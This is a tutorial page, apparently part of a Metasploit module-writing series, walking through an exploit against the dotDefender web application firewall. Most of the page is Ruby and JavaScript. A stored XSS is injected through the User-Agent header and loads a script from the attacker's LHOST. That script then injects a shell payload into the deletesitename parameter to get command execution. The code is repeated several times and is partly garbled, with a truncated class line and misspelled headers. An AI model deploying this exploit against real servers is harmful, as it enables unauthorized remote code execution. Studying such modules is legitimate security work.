

Hosting the JavaScript a11y.text Hosting the JavaScript In this section we are going add the listener and the JavaScript for the exploit. The changes to the exploit are highlighted. ##

This file is part of the Metasploit Framework and may be subject to

redistribution and commercial restrictions. Please see the Metasploit

Framework web site for more information on licensing and terms of use.

<http://metasploit.com/framework/>

##

require 'msf/core'

class Metasploit3 "dotDefender %q{

 This module exploits a vulnerability found in dotDefender.

},

'License' => MSF_LICENSE,

'Author' =>

[

 'John Dos', #Initial remote execution discovery

 'rAWjAW' #Everything else

],

'References' =>

[

 ['EDB', '14310'],

 ['URL', 'http://www.exploit-db.com/exploits/14310/']

],

'Arch' => ARCH_CMD,

'Compat' =>

```

{
    'PayloadType' => 'cmd'
},

'Platform'    => ['unix','linux'],
'Targets'     =>
    [
        ['dotDefender false,
'DefaultTarget' => 0))

register_options(
    [

        OptString.new('TRIGGERLOG', [true, 'This is what is used to trigger a log
entry.','<script>alert(\'xss\')>/script>']),

        OptString.new('SITENAME', [true, 'This is usually the same as RHOST but is available as an
option if different']),

        OptString.new('LHOST', [true, 'This is the IP to connect back to for the javascript','0.0.0.0']),

        OptString.new('URIPATH', [true, 'This is the URI path that will be created for the javascript
hosted file','DotDefender.js']),

        OptString.new('SRVPORT', [true, 'This is the port for the javascript to connect back to','80'])
    ], self.class)
end

def exploit

    resp = send_request_raw({

```

```
'uri'    => "http://#{rhost}/",
'version' => '1.1',
'method' => 'GET',
'headers' =>
{
  'Content-Type' => 'application/x-www-form-urlencoded',
  'User-Agent' => "Mozilla Firefox <script language=\"JavaScript\"
src=\"http://#{datastore['lhost']}:#{datastore['SRVPORT']}/#{datastore['uripath']}\">>/script>",
  },
  'data' => "#{datastore['TRIGGERLOG']}"
})
```

super

end

```
def on_request_uri(cli, request)
```

```
  return if ((p = regenerate_payload(cli)) == nil)
```

```
  sitename = datastore['SITENAME']
```

```
  content = %Q|
```

```
var http = new XMLHttpRequest();
```

```
var url = "../index.cgi";
```

```
var params =
```

```
"sitename=#{sitename}&deletesitename=#{sitename};#{payload.encoded}&action=deletesite&linenum=14";
```

```
http.open("POST",url,true);
```

```
http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
```

```
http.setRequestHeader("Content-length", params.length);
```

```
http.setRequestHeader("Connection","close");
```

```
http.onreadystatechange = function() {
```

```
    if(http.readyState == 4 && http.status == 200) {
```

```
        alert(http.responseText);
```

```
    }
```

```
}
```

```
http.send(params);
```

```
var http2 = new XMLHttpRequest();
```

```
var params2 = "action=reload&cursite=&servgroups=&submit=Refresh_Settings";
```

```
http2.open("POST",url,true);
```

```
http2.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
```

```
http2.setRequestHeader("Content-length", params2.length);
```

```
http2.setRequestHeader("Connection","close");
```

```
http2.onreadystatechange = function() {
```

```
    if(http2.readyState == 4 && http2.status == 200) {
```

```
        alert(http2.responseText);
```

```
    }
```

```
}  
  
http2.send(params2);  
  
var http3 = new XMLHttpRequest();  
var params3 = "newsitename=#{sitename}&action=newsite";  
http3.open("POST",url,true);  
http3.setRequestHeader("Content-type", "application/x-www-form-urlencoded");  
http3.setRequestHeader("Content-length", params3.length);  
http3.setRequestHeader("Connection","close");
```

```
http3.onreadystatechange = function() {  
    if(http3.readyState == 4 && http3.status == 200) {  
        alert(http3.responseText);  
    }  
}  
  
http3.send(params3);
```

```
var http4 = new XMLHttpRequest();  
var params4 = "action=reload&cursite=&servgroups=&submit=Refresh_Settings";  
http4.open("POST",url,true);  
http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded");  
http4.setRequestHeader("Content-length", params4.length);  
http4.setRequestHeader("Connection","close");
```

```

http4.onreadystatechange = function() {
    if(http4.readyState == 4 && http4.status == 200) {
        alert(http4.responseText);
    }
}

http4.send(params4);
|

print_status("Sending #{self.name}")

send_response_html(cli, content)

end

end On Request URI a11y.text On Request URI def on_request_uri(cli, request)

    return if ((p = regenerate_payload(cli)) == nil)

    sitename = datastore['SITENAME'] Here we are setting up the listener in metasploit. The listener
will have two arguments, cli and request. We want to regenerate the payload and make sure it is not
null, along with establishing the sitename variable. Content a11y.text Content content = %Q|

    var http = new XMLHttpRequest();

    var url = "../index.cgi";

    var params =

"sitename=#{sitename}&deletesitename=#{sitename};#{payload.encoded}&action=deletesite&linen
um=14";

```

```
http.open("POST",url,true);

http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");

http.setRequestHeader("Content-lenth", params.length);

http.setRequestHeader("Connection","close");
```

```
http.onreadystatechange = function() {

    if(http.readyState == 4 && http.status == 200) {

        alert(http.responseText);

    }

}

http.send(params);
```

```
var http2 = new XMLHttpRequest();

var params2 = "action=reload&cursite=&servgroups=&submit=Refresh_Settings";

http2.open("POST",url,true);

http2.setRequestHeader("Content-type", "application/x-www-form-urlencoded");

http2.setRequestHeader("Content-lenth", params2.length);

http2.setRequestHeader("Connection","close");
```

```
http2.onreadystatechange = function() {

    if(http2.readyState == 4 && http2.status == 200) {

        alert(http2.responseText);

    }

}

http2.send(params2);
```

```
var http3 = new XMLHttpRequest();

var params3 = "newsitename=#{sitename}&action=newsite";

http3.open("POST",url,true);

http3.setRequestHeader("Content-type", "application/x-www-form-urlencoded");

http3.setRequestHeader("Content-lenth", params3.length);

http3.setRequestHeader("Connection","close");


http3.onreadystatechange = function() {

    if(http3.readyState == 4 && http3.status == 200) {

        alert(http3.responseText);

    }

}

http3.send(params3);
```

```
var http4 = new XMLHttpRequest();

var params4 = "action=reload&cursite=&servgroups=&submit=Refresh_Settings";

http4.open("POST",url,true);

http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded");

http4.setRequestHeader("Content-lenth", params4.length);

http4.setRequestHeader("Connection","close");


http4.onreadystatechange = function() {

    if(http4.readyState == 4 && http4.status == 200) {
```



```
        alert(http4.responseText);
    }
}
http4.send(params4);
|
```

print_status("Sending #{self.name}") If we remember back in Analyzing the Exploit we have four different places in this javascript that we must use variables. These are highlighted in the following

code. content = %Q|

```
    var http = new XMLHttpRequest();
var url = "../index.cgi";
var params =
"sitename=#{sitename}&deletesitename=#{sitename};#{payload.encoded};&action=deletesite&linen
um=14";
http.open("POST",url,true);
http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
http.setRequestHeader("Content-length", params.length);
http.setRequestHeader("Connection", "close");

http.onreadystatechange = function() {
    if(http.readyState == 4 && http.status == 200) {
        alert(http.responseText);
    }
}
http.send(params);
```

```
var http2 = new XMLHttpRequest();

var params2 = "action=reload&cursite=&servgroups=&submit=Refresh_Settings";

http2.open("POST",url,true);

http2.setRequestHeader("Content-type", "application/x-www-form-urlencoded");

http2.setRequestHeader("Content-length", params2.length);

http2.setRequestHeader("Connection","close");


http2.onreadystatechange = function() {

    if(http2.readyState == 4 && http2.status == 200) {

        alert(http2.responseText);

    }

}

http2.send(params2);
```

```
var http3 = new XMLHttpRequest();

var params3 = "newsitename=#{sitename}&action=newsite";

http3.open("POST",url,true);

http3.setRequestHeader("Content-type", "application/x-www-form-urlencoded");

http3.setRequestHeader("Content-length", params3.length);

http3.setRequestHeader("Connection","close");


http3.onreadystatechange = function() {

    if(http3.readyState == 4 && http3.status == 200) {

        alert(http3.responseText);

    }

}
```

```

    }
}

http3.send(params3);


var http4 = new XMLHttpRequest();
var params4 = "action=reload&cursite=&servgroups=&submit=Refresh_Settings";
http4.open("POST",url,true);
http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
http4.setRequestHeader("Content-lenth", params4.length);
http4.setRequestHeader("Connection","close");


http4.onreadystatechange = function() {
    if(http4.readyState == 4 && http4.status == 200) {
        alert(http4.responseText);
    }
}

http4.send(params4);

|

```

print_status("Sending #{self.name}") Notice we have also put a print_status at the end of the javascript. This will allow us to see that we have successfully sent the payload to the browser. Send Response HTML a11y.text Send Response HTML send_response_html(cli, content) This will send the actual javascript code to the client once they have connected to the metasploit host. Next Final Exploit Prev Making a Log Entry